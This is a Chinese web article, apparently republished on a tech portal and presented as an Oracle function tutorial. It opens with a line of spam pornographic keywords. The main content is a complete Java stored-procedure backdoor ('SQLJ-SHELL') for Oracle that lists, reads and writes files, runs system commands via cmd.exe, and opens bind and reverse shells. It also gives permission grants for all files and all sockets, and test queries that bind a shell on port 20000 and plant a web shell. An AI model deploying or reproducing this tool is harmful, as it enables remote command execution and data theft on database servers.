自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

事例解析Oracle函數(shù)

數(shù)據(jù)庫 Oracle
這里介紹用Oracle函數(shù)調(diào)用JAVA的靜態(tài)方法,首先在Oracle數(shù)據(jù)庫建立JAVA對(duì)象, 這個(gè)版本的SQLJ-SHELL 只能支持正向連接,反向連接的時(shí)候有BUG 不建議使用。

在向大家詳細(xì)介紹Oracle函數(shù)之前,首先讓大家了解下Oracle數(shù)據(jù)庫建立JAVA對(duì)象,然后全面介紹Oracle函數(shù),希望對(duì)大家有用。首先在Oracle數(shù)據(jù)庫建立JAVA對(duì)象, 這個(gè)版本的SQLJ-SHELL 只能支持正向連接,反向連接的時(shí)候有BUG 不建議使用,不知道是ORA支持JAVA的問題還是個(gè)人能力有限:

  1. createorreplaceandcompilejavasourcenamedistoas  
  2. importjava.io.*;  
  3. importjava.net.*;  
  4. publicclassISTO{  
  5. //author:kj021320  
  6. //team:I.S.T.O  
  7. publicstaticStringlistFolder(Stringpath){  
  8. Filef=null;  
  9. Stringstr="";  
  10. f=newFile(path);  
  11. String[]ffiles=f.list();  
  12. if(files!=null)  
  13. for(inti=0;i<files.length;i++){  
  14. str+=files[i]+"\r\n";  
  15. }  
  16. returnstr;  
  17. }  
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){  
  19. FileOutputStreamfos=null;  
  20. try{  
  21. fos=newFileOutputStream(filepath);  
  22. fos.write(value.getBytes());  
  23. return"OK";  
  24. }catch(Exceptione){  
  25. returne.getMessage();  
  26. }finally{  
  27. if(fos!=null){  
  28. try{fos.close();}catch(Exceptione){}  
  29. }  
  30. }  
  31. }  
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){  
  33. BufferedReaderbr=null;  
  34. Stringvalue="";  
  35. try{  
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));  
  37. Strings=null;  
  38. while((s=br.readLine())!=null){  
  39. value+=s;  
  40. }  
  41. returnvalue;  
  42. }catch(Exceptione){  
  43. returne.getMessage();  
  44. }finally{  
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}  
  46. }  
  47. }  
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){  
  49. inti=0;  
  50. RuntimeRuntimert=Runtime.getRuntime();  
  51. Stringoutput="";  
  52. InputStreamReaderisr=null;  
  53. char[]bufferC=newchar[1024];  
  54. try{  
  55. Processps=rt.exec(filepath);  
  56. isr=newInputStreamReader(ps.getInputStream(),code);  
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){  
  58. output+=newString(bufferC,0,i);  
  59. }  
  60. returnoutput;  
  61. }catch(Exceptione){  
  62. returne.getMessage();  
  63. }finally{  
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}  
  65. }  
  66. }  
  67. publicstaticStringbindShell(intport){  
  68. ServerSocketss=null;  
  69. Sockets=null;  
  70. try{  
  71. ss=newServerSocket(port);  
  72. s=ss.accept();  
  73. newoptShell(ss,s).start();  
  74.  
  75. return"OK";  
  76. }catch(Exceptione){  
  77. returne.getMessage();  
  78. }  
  79. }  
  80. publicstaticStringreverseShell(Stringhost,intport){  
  81. Sockets=null;  
  82. try{  
  83. s=newSocket(host,port);  
  84. newoptShell(null,s).start();  
  85. return"OK";  
  86. }catch(Exceptione){  
  87. returne.getMessage();  
  88. }  
  89. }  
  90. publicstaticclassoptShellextendsThread{  
  91. OutputStreamos=null;  
  92. InputStreamis=null;  
  93. ServerSocketss;  
  94. Sockets;  
  95. publicoptShell(ServerSocketss,Sockets){  
  96. this.ss=ss;  
  97. this.s=s;  
  98. try{  
  99. this.is=s.getInputStream();  
  100. this.os=s.getOutputStream();  
  101. }catch(Exceptione){  
  102. if(os!=null)try{os.close();}catch(Exceptionex){}  
  103. if(is!=null)try{is.close();}catch(Exceptionex){}  
  104. if(s!=null)try{s.close();}catch(Exceptionex){}  
  105. if(ss!=null)try{ss.close();}catch(Exceptionex){}  
  106. }  
  107. }  
  108. publicvoidrun(){  
  109. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));  
  110. Stringline="";  
  111. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";  
  112. try{  
  113. //os.write(cmdhelp.getBytes());  
  114. line=br.readLine();  
  115. while(!"exit".equals(line)){  
  116. if(line.length()>3){  
  117. StringBuffersb=newStringBuffer(line.trim());  
  118. Stringcmd=sb.substring(0,4);  
  119. if(cmd.equals("list")){  
  120. os.write("inputyoupath:\r\n".getBytes());  
  121. line=br.readLine();  
  122. os.write(listFolder(line).getBytes());  
  123. }elseif("save".equals(cmd)){  
  124. os.write("inputyoufilepath:\r\n".getBytes());  
  125. line=br.readLine();  
  126. os.write("inputyouvalue:\r\n".getBytes());  
  127. os.write(saveFile(line,br.readLine()).getBytes());  
  128. }elseif("read".equals(cmd)){  
  129. os.write("inputyoufilepath:\r\n".getBytes());  
  130. line=br.readLine();  
  131. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  132. os.write(readFile(line,br.readLine()).getBytes());  
  133. }elseif("exec".equals(cmd)){  
  134. os.write("inputyourunfilepath:\r\n".getBytes());  
  135. line=br.readLine();  
  136. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  137. os.write(execFile(line,br.readLine()).getBytes());  
  138. }else{  
  139. os.write(cmdhelp.getBytes());  
  140. }  
  141. }else{  
  142. os.write(cmdhelp.getBytes());  
  143. }  
  144. line=br.readLine();  
  145. }  
  146. }catch(Exceptione){  
  147. e.printStackTrace();  
  148. }finally{  
  149. if(os!=null)try{os.close();}catch(Exceptione){}  
  150. if(is!=null)try{is.close();}catch(Exceptione){}  
  151. if(s!=null)try{s.close();}catch(Exceptione){}  
  152. if(ss!=null)try{ss.close();}catch(Exceptione){}  
  153. }  
  154. }  
  155. }  

以上建立完成之后 需要用Oracle函數(shù)調(diào)用JAVA的靜態(tài)方法:
◆列舉目錄函數(shù)
◆保存文件函數(shù)
◆讀文件函數(shù)
◆運(yùn)行文件函數(shù)
◆端口綁定 你可以telnet進(jìn)去

以上Oracle函數(shù)轉(zhuǎn)換操作之后 需要給JAVA授予訪問權(quán)限

  1. begin  
  2. Dbms_Java.Grant_Permission('用戶名字','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');  
  3. Dbms_Java.Grant_Permission('用戶名字','java.lang.RuntimePermission','*','writeFileDescriptor');  
  4. Dbms_Java.grant_permission('用戶名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');  
  5. end; 

然后就可以進(jìn)行文件操作以及 運(yùn)行程序  開啟網(wǎng)絡(luò)!

以下為測(cè)試代碼:

  1. SELECT ISTO_LISTFOLDER('/usr') FROM DUAL  
  2. SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;  
  3. SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;  
  4. SELECT ISTO_SAVEFILE('/tmp/1.txt','一句話shell') FROM DUAL;  
  5. SELECT ISTO_BINDSHELL(20000) FROM DUAL 

【編輯推薦】

  1. 詳談Oracle對(duì)象特權(quán)說明
  2. Oracle系統(tǒng)特權(quán)部分介紹
  3. 最常見的Oracle密碼驗(yàn)證
  4. 簡(jiǎn)單探討Oracle介質(zhì)恢復(fù)
  5. 完全干掉Oracle死鎖進(jìn)程
責(zé)任編輯:佚名 來源: 博客園
相關(guān)推薦

2010-03-31 10:40:11

Oracle事例

2011-04-15 13:02:56

Oracle函數(shù)

2016-12-19 14:59:00

redis.conf配置事例數(shù)據(jù)

2017-03-09 13:11:48

Oracle分析函數(shù)

2009-11-09 14:55:51

Visual Stud

2010-10-25 17:28:05

Oracle bita

2010-10-25 15:12:42

Oracle日期函數(shù)

2011-04-12 15:00:48

Oracle碎片

2010-04-02 13:46:30

Oracle數(shù)據(jù)導(dǎo)出

2010-10-28 15:38:24

Oracle to_d

2010-10-25 14:47:49

Oracle系統(tǒng)變量函

2009-11-10 15:12:21

Visual Stud

2009-11-05 14:03:28

Visual Stud

2009-10-27 11:32:42

VB.NET Disp

2010-11-15 16:41:29

Oracle文件

2010-04-15 16:36:13

Oracle SQL

2010-11-15 15:51:55

Oracle ERP系

2010-10-25 17:39:24

Oracle單行日期函

2011-04-12 13:27:09

Oracle日期函數(shù)

2010-10-25 14:28:53

oracle trun
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)